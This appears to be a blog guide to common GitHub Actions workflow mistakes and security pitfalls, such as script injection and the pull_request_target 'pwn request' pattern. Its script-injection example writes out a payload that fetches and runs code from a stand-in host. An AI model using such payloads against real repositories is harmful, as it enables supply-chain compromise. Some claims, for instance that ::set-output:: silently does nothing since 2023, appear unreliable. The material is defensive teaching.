Some of these fail loudly the moment a workflow runs. Others are worse: they parse fine, run fine, and just quietly don't do what you think — sometimes for months, sometimes with real security consequences. Both kinds are below.
Missing a top-level on:
A workflow file with no on: at all has no trigger — nothing ever runs it. Easy to lose entirely while restructuring a file, and there's no local syntax error to catch it; the YAML is perfectly valid, the workflow just never fires.
A job with both uses: and runs-on:/steps:
jobs:
call-reusable:
uses: ./.github/workflows/shared.yml
runs-on: ubuntu-latest # invalid alongside "uses"
steps: [...] # invalid alongside "uses"A job is either a call to a reusable workflow (uses:) or a regular job with its own steps (runs-on: + steps:) — never both. A common way to hit this: copying an existing job as a starting point for a reusable-workflow call and not deleting the fields that came with it.
A step with both uses: and run:, or neither
Same shape, one level down — a step runs a prebuilt action (uses:) or a shell command (run:), never both and never neither. The "neither" version usually comes from an incomplete copy-paste — a step block with just a name: and nothing telling it what to actually do.
Referencing needs.X.outputs without listing X in needs:
jobs:
build:
outputs:
version: ${{ steps.get-version.outputs.version }}
...
deploy:
# no "needs: build" here
steps:
- run: echo "${{ needs.build.outputs.version }}"Without needs: build, deploy isn't guaranteed to start after build finishes — it might run in parallel, before build has produced that output at all. The expression doesn't error; it just resolves to an empty string. This is a scheduling bug wearing a syntax-error costume — the fix is adding build to deploy's needs: list, not touching the expression itself.
A circular needs: dependency
Job A needs B, B needs C, C needs A — GitHub can't compute a valid execution order for that graph and rejects the workflow outright. Easy to introduce by adding a dependency to an existing job without checking whether something downstream of it already depends on this one.
Duplicate step id within a job
Step ids only need to be unique within their own job, but a duplicate inside one job means steps.that-id.outputs becomes ambiguous — later tooling and expressions can only see one of the two steps under that name, not both.
A schedule cron with the wrong number of fields
on:
schedule:
- cron: "0 0 * * MON" # 5 fields — correct
- cron: "0 0 0 * * MON" # 6 fields — rejectedGitHub Actions' schedule trigger always uses standard 5-field cron (minute, hour, day-of-month, month, day-of-week) — no seconds field, unlike some other cron dialects. A 6-field expression copied from a tool that does support seconds gets rejected.
Interpolating untrusted event data directly into run:
- run: |
echo "Processing: ${{ github.event.issue.title }}"An issue or PR title, body, or comment is text an external user fully controls. Interpolated directly into a shell script like this, a title such as "; curl evil.sh | bash #" breaks out of its string context and runs as real shell — the classic GitHub Actions script-injection bug, and the root cause behind several real supply-chain incidents. The fix is passing it through env: and referencing it as a shell variable instead, which the shell never re-parses:
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "Processing: $TITLE"Checking out a PR's head ref under pull_request_target
pull_request_target (unlike plain pull_request) runs with the base repository's permissions and secrets, even for a PR from an untrusted fork — that's the whole point of the trigger. Checking out the PR's own head ref inside that context and then running anything from it (tests, a build script) hands an attacker-controlled PR your repository's elevated permissions — the "pwn request" pattern. Only check out the head ref for strictly read-only steps that never execute the checked-out code and never touch secrets.
Relying on ::set-output:: — it's done nothing since 2023
- run: echo "::set-output name=version::1.2.3"GitHub removed the ::set-output:: and ::save-state:: workflow commands in 2023. This one is uniquely dangerous because it fails silently — no error, no warning, the line just echoes as plain log text and the output is never set. Old workflows (or old tutorials, or old copy-pasted snippets) using this pattern look fine right up until something downstream depends on the output that was never actually written. The replacement writes to the $GITHUB_OUTPUT file directly:
- run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"An action reference with no @ref at all
- uses: actions/checkout # missing @ref entirelyDistinct from the (also worth fixing) case of pinning to a mutable tag instead of a commit SHA — this is simpler and harder: no @ at all means GitHub can't resolve which version to run, and the workflow fails outright. For the SHA-pinning security argument specifically, see GitHub Actions Best Practices.
Try it yourself
GitHub Actions Validator catches the structural mistakes above — mutually exclusive fields, broken needs: references, circular dependencies, malformed cron — before you push. GitHub Actions Linter catches the security-shaped ones: script injection, the pwn-request pattern, the removed and deprecated workflow commands, and hardcoded-looking credentials. Both run entirely in your browser.